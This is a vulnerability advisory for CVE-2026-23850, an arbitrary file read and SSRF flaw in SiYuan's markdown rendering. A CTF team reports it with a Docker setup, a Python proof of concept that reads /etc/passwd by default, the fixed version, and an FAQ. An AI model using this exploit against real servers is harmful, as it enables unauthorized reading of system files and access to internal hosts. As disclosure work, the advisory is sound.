CVE-2026-23850: SiYuan vulnerable to arbitrary file read
Summary Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )
Please note that we used the latest Version and deployed it via this dockerfile :
Dockerfile: FROM b3log/siyuan
ENV TZ=America/NewYork \ PUID=1000 \ PGID=1000 \ SIYUANACCESSAUTHCODE=SuperSecretPassword RUN mkdir -p /siyuan/workspace
COPY ./startup.sh /opt/siyuan/startup.sh RUN chmod +x /opt/siyuan/startup.sh
EXPOSE 6806
ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"]
startup.sh sh #!/bin/sh set -e echo "nullctf{secret}" > "/flagrandom.txt" exec ./entrypoint.sh
docker-compose.yaml:
yaml services: main: build: . ports: - 6806:6806 restart: unless-stopped environment: - TZ=America/NewYork - PUID=1000 - PGID=1000 containername: archivistswhisper Details As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886 in createDocWithMd function the markdown parameter is being passed to the model.CreateWithMarkdown without any sanitization while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to luteEngine.Md2BlockDOM(md, false) without any sanitization too
PoC Here is a full Python POC ready to run py import requests, sys, os
if len(sys.argv) >= 5 : TARGET = sys.argv[1].rstrip("/") PASSWORD = sys.argv[2] attacktype = sys.argv[3] if attacktype == "LFD": filepath = f"file://{sys.argv[4]}" elif attacktype == "SSRF": filepath = f"{sys.argv[4]}" else: sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link") TARGET = "http://127.0.0.1:6806" PASSWORD = "SuperSecretPassword" # Workgroup password filepath = "/etc/passwd" # file to read
s = requests.Session()
def login(): s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})
def listnotebooks(): res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json() notebooks = res["data"]["notebooks"] if not notebooks: raise RuntimeError("No notebooks found – create one in the UI first") notebook = notebooks[0]["id"] return notebook
def filetomd(notebook, filepath): docid = s.post( f"{TARGET}/api/filetree/createDocWithMd", json={ "notebook": notebook, "path": "/pwn", "markdown": f"loot" }, ).json()["data"] return docid
def convertfiletoasset(docid): res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": docid}) # print(f"Debug : convert", res.text)
def getnewfilenamefromassets(filepath): res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"] if attacktype == "LFD": newfilename = f"network-asset-{os.path.splitext(os.path.basename(filepath))[0]}-" else: newfilename = f"network-asset-{os.path.basename(filepath)}-" # print(newfilename) for file in res: # print(file["name"]) if newfilename in file["name"]: return file["name"]
def retrievefilecontent(filename): return s.get(f"{TARGET}/assets/{filename}").text
login() notebook = listnotebooks() docid = filetomd(notebook, filepath) print(f"Debug : Docid", docid) convertfiletoasset(docid) filename = getnewfilenamefromassets(filepath) filecontent = retrievefilecontent(filename) if len(filecontent) > 0 : print("Content : ", filecontent) else: print(f"Failed to get {filename} try to get it manually, probably we failed to predict the new file name")
File read <img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" />
SSRF : We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy
<img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" />
Impact As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )
Solution
https://github.com/siyuan-note/siyuan/issues/16860
Other sources
SiYuan is a personal knowledge management system. In versions prior to 3.5.4, the markdown feature allows unrestricted server side html-rendering which allows arbitrary file read (LFD). Version 3.5.4 fixes the issue.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2026-23850?
CVE-2026-23850 has a high severity due to its potential for arbitrary file reading vulnerabilities.
How do I fix CVE-2026-23850?
To fix CVE-2026-23850, upgrade to SiYuan version 3.5.4 or later.
What versions of SiYuan are affected by CVE-2026-23850?
All versions of SiYuan prior to 3.5.4 are affected by CVE-2026-23850.
What kind of vulnerability is CVE-2026-23850?
CVE-2026-23850 is an arbitrary file read vulnerability that occurs due to unrestricted server-side HTML rendering.
Is there a known exploit for CVE-2026-23850?
Yes, CVE-2026-23850 can be exploited to read arbitrary files on the server, which poses a significant risk.